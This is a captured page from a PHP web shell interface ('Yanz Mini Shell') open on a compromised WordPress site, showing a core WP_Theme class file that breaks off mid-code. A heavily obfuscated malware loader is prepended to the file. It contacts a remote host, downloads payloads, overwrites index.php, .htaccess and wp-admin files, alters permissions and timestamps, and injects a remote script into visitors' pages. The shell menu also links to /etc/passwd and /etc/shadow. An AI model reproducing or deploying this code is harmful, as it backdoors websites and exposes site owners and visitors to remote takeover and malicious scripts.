Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
hdhubreisen
public_html
wp-includes
style-engine
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * WP_Theme Class * * @package WordPress * @subpackage Theme * @since 3.4.0 */ #[AllowDynamicProperties] final class WP_Theme implements ArrayAccess { /** * Whether the theme has been marked as updateable. * * @since 4.4.0 * @var bool * * @see WP_MS_Themes_List_Table */ public $update = false; /** * Headers for style.css files. * * @since 3.4.0 * @since 5.4.0 Added `Requires at least` and `Requires PHP` headers. * @since 6.1.0 Added `Update URI` header. * @var string[] */ private static $file_headers = array( 'Name' => 'Theme Name', 'ThemeURI' => 'Theme URI', 'Description' => 'Description', 'Author' => 'Author', 'AuthorURI' => 'Author URI', 'Version' => 'Version', 'Template' => 'Template', 'Status' => 'Status', 'Tags' => 'Tags', 'TextDomain' => 'Text Domain', 'DomainPath' => 'Domain Path', 'RequiresWP' => 'Requires at least', 'RequiresPHP' => 'Requires PHP', 'UpdateURI' => 'Update URI', ); /** * Default themes. * * @since 3.4.0 * @since 3.5.0 Added the Twenty Twelve theme. * @since 3.6.0 Added the Twenty Thirteen theme. * @since 3.8.0 Added the Twenty Fourteen theme. * @since 4.1.0 Added the Twenty Fifteen theme. * @since 4.4.0 Added the Twenty Sixteen theme. * @since 4.7.0 Added the Twenty Seventeen theme. * @since 5.0.0 Added the Twenty Nineteen theme. * @since 5.3.0 Added the Twenty Twenty theme. * @since 5.6.0 Added the Twenty Twenty-One theme. * @since 5.9.0 Added the Twenty Twenty-Two theme. * @since 6.1.0 Added the Twenty Twenty-Three theme. * @since 6.4.0 Added the Twenty Twenty-Four theme. * @since 6.7.0 Added the Twenty Twenty-Five theme. * @var string[] */ private static $default_themes = array( 'classic' => 'WordPress Classic', 'default' => 'WordPress Default', 'twentyten' => 'Twenty Ten', 'twentyeleven' => 'Twenty Eleven', 'twentytwelve' => 'Twenty Twelve', 'twentythirteen' => 'Twenty Thirteen', 'twentyfourteen' => 'Twenty Fourteen', 'twentyfifteen' => 'Twenty Fifteen', 'twentysixteen' => 'Twenty Sixteen', 'twentyseventeen' => 'Twenty Seventeen', 'twentynineteen' => 'Twenty Nineteen', 'twentytwenty' => 'Twenty Twenty', 'twentytwentyone' => 'Twenty Twenty-One', 'twentytwentytwo' => 'Twenty Twenty-Two', 'twentytwentythree' => 'Twenty Twenty-Three', 'twentytwentyfour' => 'Twenty Twenty-Four', 'twentytwentyfive' => 'Twenty Twenty-Five', ); /** * Renamed theme tags. * * @since 3.8.0 * @var string[] */ private static $tag_map = array( 'fixed-width' => 'fixed-layout', 'flexible-width' => 'fluid-layout', ); /** * Absolute path to the theme root, usually wp-content/themes * * @since 3.4.0 * @var string */ private $theme_root; /** * Header data from the theme's style.css file. * * @since 3.4.0 * @var array */ private $headers = array(); /** * Header data from the theme's style.css file after being sanitized. * * @since 3.4.0 * @var array */ private $headers_sanitized; /** * Is this theme a block theme. * * @since 6.2.0 * @var bool */ private $block_theme; /** * Header name from the theme's style.css after being translated. * * Cached due to sorting functions running over the translated name. * * @since 3.4.0 * @var string */ private $name_translated; /** * Errors encountered when initializing the theme. * * @since 3.4.0 * @var WP_Error */ private $errors; /** * The directory name of the theme's files, inside the theme root. * * In the case of a child theme, this is directory name of the child theme. * Otherwise, 'stylesheet' is the same as 'template'. * * @since 3.4.0 * @var string */ private $stylesheet; /** * The directory name of the theme's files, inside the theme root. * * In the case of a child theme, this is the directory name of the parent theme. * Otherwise, 'template' is the same as 'stylesheet'. * * @since 3.4.0 * @var string */ private $template; /** * A reference to the parent theme, in the case of a child theme. * * @since 3.4.0 * @var WP_Theme */ private $parent; /** * URL to the theme root, usually an absolute URL to wp-content/themes * * @since 3.4.0 * @var string */ private $theme_root_uri; /** * Flag for whether the theme's textdomain is loaded. * * @since 3.4.0 * @var bool */ private $textdomain_loaded; /** * Stores an md5 hash of the theme root, to function as the cache key. * * @since 3.4.0 * @var string */ private $cache_hash; /** * Block template folders. * * @since 6.4.0 * @var string[] */ private $block_template_folders; /** * Default values for template folders. * * @since 6.4.0 * @var string[] */ private $default_template_folders = array( 'wp_template' => 'templates', 'wp_template_part' => 'parts', ); /** * Flag for whether the themes cache bucket should be persistently cached. * * Default is false. Can be set with the {@see 'wp_cache_themes_persistently'} filter. * * @since 3.4.0 * @var bool */ private static $persistently_cache; /** * Expiration time for the themes cache bucket. * * By default the bucket is not cached, so this value is useless. * * @since 3.4.0 * @var bool */ private static $cache_expiration = 1800; /** * Constructor for WP_Theme. * * @since 3.4.0 * * @global array $wp_theme_directories * * @param string $theme_dir Directory of the theme within the theme_root. * @param string $theme_root Theme root. * @param WP_Theme|null $_child If this theme is a parent theme, the child may be passed for validation purposes. */ public function __construct( $theme_dir, $theme_root, $_child = null ) { global $wp_theme_directories; // Initialize caching on first run. if ( ! isset( self::$persistently_cache ) ) { /** This action is documented in wp-includes/theme.php */ self::$persistently_cache = apply_filters( 'wp_cache_themes_persistently', false, 'WP_Theme' ); if ( self::$persistently_cache ) { wp_cache_add_global_groups( 'themes' ); if ( is_int( self::$persistently_cache ) ) { self::$cache_expiration = self::$persistently_cache; } } else { wp_cache_add_non_persistent_groups( 'themes' ); } } // Handle a numeric theme directory as a string. $theme_dir = (string) $theme_dir; $this->theme_root = $theme_root; $this->stylesheet = $theme_dir; // Correct a situation where the theme is 'some-directory/some-theme' but 'some-directory' was passed in as part of the theme root instead. if ( ! in_array( $theme_root, (array) $wp_theme_directories, true ) && in_array( dirname( $theme_root ), (array) $wp_theme_directories, true ) ) { $this->stylesheet = basename( $this->theme_root ) . '/' . $this->stylesheet; $this->theme_root = dirname( 